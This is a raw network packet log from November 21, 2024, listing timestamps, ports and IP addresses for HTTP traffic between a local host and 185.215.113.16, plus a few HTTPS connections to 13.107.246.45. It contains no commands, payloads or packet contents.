Nov 21, 2024 07:10:37.394958973 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.394999027 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.395831108 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.395873070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.395962000 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.396097898 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.396831989 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.396872997 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.397013903 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.397097111 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.397845030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.397896051 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.398217916 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.398261070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.398789883 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.398842096 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.398884058 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.398947001 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.399751902 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.399795055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.399954081 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.400688887 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.400806904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.400854111 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.401110888 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.401153088 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.401740074 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.401793957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.401839018 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.401896954 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.402833939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.402863026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.402890921 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.402916908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.403712034 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.403755903 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.403808117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.404032946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.404675961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.404717922 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.404767036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.405430079 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.405678034 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.405720949 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.405782938 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.405881882 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.406647921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.406714916 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.406764984 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.406857014 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.407646894 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.407694101 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.407764912 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.408646107 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.408691883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.409010887 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.409051895 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.409624100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.409677982 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.410003901 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.410047054 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.410576105 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.410629034 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.410706997 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.410901070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.411603928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.411659002 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.411703110 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.412554979 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.412662983 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.412679911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.412769079 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.413640022 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.413677931 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.413738966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.413788080 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.414510012 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.414561987 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.414623022 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.414699078 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.415509939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.415550947 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.415561914 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.415595055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.416527987 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.416583061 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.416588068 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.416630030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.417470932 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.417593002 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.417640924 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.418446064 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.418488979 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.418605089 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.418661118 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.419444084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.419544935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.419600964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.420444965 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.420505047 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.420543909 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.420725107 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.421454906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.421510935 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.421530008 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.421624899 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.422395945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.422446012 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.422477961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.422588110 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.423358917 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.423398018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.518404007 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.521126032 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.521243095 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.536437988 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.536477089 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.536504984 CET	49839	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.536536932 CET	443	49839	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.563848972 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.563905954 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.563944101 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.564141989 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.564224005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.564383030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.564424992 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.565221071 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.565262079 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.565335035 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.565486908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.566219091 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.566333055 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.566369057 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.567204952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.567328930 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.567329884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.567372084 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.568180084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.568223953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.568242073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.568280935 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.569143057 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.569181919 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.569214106 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.569252968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.570151091 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.570188046 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.570266008 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.570338011 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.571131945 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.571177006 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.571244001 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.571399927 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.572123051 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.572221041 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.572268963 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.572310925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.572920084 CET	49850	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.572942972 CET	443	49850	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.573018074 CET	49850	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.573115110 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.573163033 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.573246956 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.573282957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.573479891 CET	49850	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.573492050 CET	443	49850	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.574085951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.574212074 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.574259996 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.575087070 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.575206995 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.575221062 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.576059103 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.576106071 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.576162100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.577023029 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.577069044 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.577138901 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.577195883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.578042030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.578083038 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.578250885 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.578306913 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.578990936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.579042912 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.579090118 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.579139948 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.579993963 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.580035925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.580102921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.580229044 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.580972910 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.581027985 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.581131935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.581206083 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.581981897 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.582055092 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.582067966 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.582094908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.582932949 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.583043098 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.583045959 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.583149910 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.583950996 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.584006071 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.584041119 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.584079981 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.584996939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.585026026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.585042000 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.585058928 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.585907936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.585947990 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.586013079 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.586138964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.586859941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.586910009 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.587393999 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.587450027 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.587879896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.587932110 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.587956905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.588001966 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.588867903 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.588958979 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.588984966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.589119911 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.589814901 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.589879990 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.589937925 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.590533972 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.590828896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.590873957 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.590960026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.591181993 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.591833115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.591876030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.591905117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.592011929 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.592798948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.592856884 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.592911959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.592956066 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.593775988 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.593863964 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.593888044 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.593928099 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.594749928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.594829082 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.594883919 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.595024109 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.595778942 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.595853090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.595871925 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.596719980 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.596765041 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.596822977 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.597131968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.597747087 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.597794056 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.597835064 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.597876072 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.598686934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.598762035 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.598836899 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.598884106 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.599673986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.599725008 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.599780083 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.599844933 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.600667000 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.600788116 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.600845098 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.601658106 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.601780891 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.601841927 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.602679968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.602732897 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.602782965 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.602854967 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.603625059 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.603668928 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.603725910 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.603787899 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.604602098 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.604784966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.604847908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.605623007 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.605669975 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.605722904 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.605772972 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.606578112 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.606616020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.606621027 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.606664896 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.607563972 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.607676983 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.607727051 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.608540058 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.608649969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.608704090 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.609545946 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.609587908 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.609639883 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.609683990 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.610496998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.610551119 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.610605955 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.610661983 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.611495972 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.611538887 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.611587048 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.611661911 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.612448931 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.612514973 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.612580061 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.612627029 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.613452911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.613574028 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.613586903 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.613634109 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.614447117 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.614496946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.614533901 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.614578962 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.615489006 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.615696907 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.676898956 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.677473068 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.677491903 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.678057909 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:37.678065062 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:37.756194115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.756293058 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.756359100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.756508112 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.756576061 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.756660938 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:37.756696939 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:37.757600069 CET	80	49828	185.215.113.16	192.168.2.4
